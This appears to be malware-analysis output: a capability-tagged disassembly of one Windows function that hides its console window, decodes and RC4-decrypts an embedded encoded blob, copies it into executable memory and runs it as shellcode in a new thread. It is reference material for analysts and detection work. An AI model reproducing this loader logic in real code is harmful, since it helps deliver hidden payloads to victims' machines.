Function at 0x140002980
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Encrypt data using rc4 ksa
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10f0]
mov eax, 0x11f0
call fcn.1400041e0
sub rsp, rax
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x10e0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x780]
lea rdx, str.hn4HPdGNI9PURVghejBKNL48BqkECq4jQzXdgXSGyQCpd_B_L1ijYVNwvmGUpCyoLri4UDxZ08wW2rgxFr1_wSSyASuT4fPsCWLvEXfpw4KS6TWJAobDygcWSJGnFtdrKaXFVhcFeMknivNFBlVqV0TPQks6_uYQpX31vHqKpqp0tj3SpcQ6fZ0zkQe40n89EH47x7_vpkxh_VaEp8inBXeMdQOSBWZUaTCLaX5UanVmA15jfdT4ZnGpsbTf0vU5vaFfJYlnvgiK0tsGMo1HXsOM_Vw8lnUlR0NUNV21CWsuCB_AlMRmeEERHJQJRqo74JC7pxdphWGPHpOhTidjZVZUVnjbaPx9nEFEa3Q4s3u5v9Nhh6FJ0c7Sl3nE8JuvybTIC3icGoPFbZPGhLwW3z2VTkTDjFR4HlTcqiax7teuFFbTJ8D8mTd82nOacUYhzcw1Wd8Fb8sKdB2uXh5gt3cTIcXnssS05r18alNF0UcNfQ86iXV8QMJe74XX3FfgKUX2eljBRGhJaC4XslFedl8YyfrjouDOajSVx6NWAqNcqKJaMoRNYgGn185pFdqmw4PiQCYAb6Z4jt6McoXd1_05N_xFz94QldlhnAHl_2R22z77O8vb7e3iNCJQ5c8kfhLk6ulOdh0Zja7RM4SJnbxYd7KU9K_z4lX8rOW3Ko6Vpth0xbXup8nlhYjVcYRmDdsQM4CJNY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GPhatd5t0ZnmLkmpI_bCaK4CrwxGG63H00KiCfKZ29fN9r6e2UlF_u7ogbzOBefSUCJAUM07RkDaL5rLCnmxTrqiyFhKmL5we6t7mkqbwT79PxcrzNmCdILXvXPatUFRZrqdzXNDqTW12PdYWZLNjQE9fJ3jhngsRXd6FzeykX7EBVHpNmyzXNVnPRIKEwTjqby98GA3wTaCNsvhHascsFd2epbuITi7bxdpFXKLgsyLb43Co2vkD8cR1crQP696yQ93RKhqYdZ2nq6laxISpjjZY2O05HmUC0IDfSGd94RCQ7H66ttYr9ahIRsU47rBICxnUzf2LsyHihOwcKcQuRtBWYXKGBGOoMa_YrljPO7OPUQAi7ilIjVdBuKDrf6jj0wHByoRAP3prIiBnaMeUpSZL9o5eG8_UqhMszf5yrbvKRTCHO7rHIwNcZGhoeS699YwDrkQpLXP04MpRhEVXYvAqRdcJROxi0dt8DoYq2vpTNyYdEyq9UhxNKunZ_Y2rfMjuxY6MommVqQU1kXUCqPN8oI15ue45RvPhPYomK2W6IZf0FQOVxynlPNaAydpofLoi3Q
mov r8d, 0x959
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp + 0x780]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002a10
lea rdx, [rbp + 0x780]
lea rcx, [rsp + 0x30]
call fcn.140001ff0
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400022f0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002a7c
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a77
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400032b0
xor edx, edx
mov r8d, 0x700
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
test r8, r8
je 0x140002ad6
xor ecx, ecx
nop dword [rax + rax]
lea rax, [rsp + 0x50]
cmp r15, 0xf
cmova rax, r14
movzx eax, byte [rcx + rax]
mov byte [rbp + rcx + 0x80], al
inc edx
lea rcx, [rcx + 1]
movsxd rax, edx
cmp rax, r8
jb 0x140002ab0
lea rax, [rbp + 0x80]
mov rdx, rsi
inc rdx
cmp byte [rax + rdx], 0
jne 0x140002ae0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140003080]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdi, [rbp + 0x80]
mov edx, 1
mov ecx, 0x380
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov r12, rax
xor r13d, r13d
xor ebx, ebx
lea rax, [rbp + 0x80]
mov rcx, rsi
nop
inc rcx
cmp byte [rax + rcx], bl
jne 0x140002b30
test rcx, 0xfffffffffffffffe
jbe 0x140002b76
lea r8, [rbx + r12]
lea rdx, str._2hhx
mov rcx, rdi
call fcn.140002270
add rdi, 2
inc rbx
lea rcx, [rbp + 0x80]
mov rax, rsi
inc rax
cmp byte [rcx + rax], r13b
jne 0x140002b65
shr rax, 1
cmp rbx, rax
jb 0x140002b41
movsd xmm0, qword [str.___qwQ156q_4]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x1400090c8]
mov dword [rsp + 0x78], eax
movzx eax, word [0x1400090cc]
mov word [rsp + 0x7c], ax
lea rax, [rsp + 0x70]
mov rdi, rsi
inc rdi
cmp byte [rax + rdi], r13b
jne 0x140002ba2
xor ebx, ebx
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x780]
call sub.VCRUNTIME140.dll_memset
xor r8d, r8d
xor r9d, r9d
nop word [rax + rax]
mov byte [rbp + r9 - 0x80], r8b
xor edx, edx
mov eax, r8d
div edi
movzx eax, byte [rsp + rdx + 0x70]
mov byte [rbp + r9 + 0x780], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x100
jl 0x140002bd0
xor edx, edx
mov r9d, pe_nt_image_headers64
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte [rbp + rdx - 0x80]
movzx eax, byte [rbp + rdx + 0x780]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x140002c35
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rbp - 0x80]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rbp + rdx - 0x80], al
mov byte [rcx], r8b
inc rdx
sub r9, 1
jne 0x140002c10
xor edi, edi
lea r15, [0x14000b750]
nop dword [rax + rax]
movzx ebx, byte [rbp + rdi - 0x80]
mov byte [rdi + r15], bl
lea rdx, [0x14000875c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002eb0
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
call fcn.1400030c0
inc rdi
cmp rdi, 0x100
jl 0x140002c60
lea rdx, [0x140003080]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x80]
mov r9, rsi
mov r15, qword [rsp + 0x68]
nop
inc r9
cmp byte [rax + r9], r13b
jne 0x140002cd0
shr r9, 1
je 0x140002d1f
mov r10, r12
mov r13d, r9d
movzx edx, byte [rbp - 0x7f]
nop dword [rax + rax]
movzx r8d, dl
movzx eax, byte [rbp + r8 - 0x80]
mov byte [rbp - 0x7f], al
mov byte [rbp + r8 - 0x80], r8b
movzx edx, byte [rbp - 0x7f]
lea rcx, [r8 + rdx]
movzx eax, cl
movzx ecx, byte [rbp + rax - 0x80]
xor byte [r10], cl
lea r10, [r10 + 1]
sub r9, 1
jne 0x140002cf0
mov edx, r13d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140003080]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x80]
mov rdx, rsi
nop dword [rax]
inc rdx
cmp byte [rax + rdx], 0
jne 0x140002d50
shr rdx, 1
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea rax, [rbp + 0x80]
nop dword [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140002d80
shr rsi, 1
mov r8, rsi
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
cmp r15, 0xf
jbe 0x140002e04
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140002dfc
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002dfc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1400032b0
xor eax, eax
mov rcx, qword [rbp + 0x10e0]
xor rcx, rsp
call fcn.140003290
lea r11, [rsp + 0x11f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret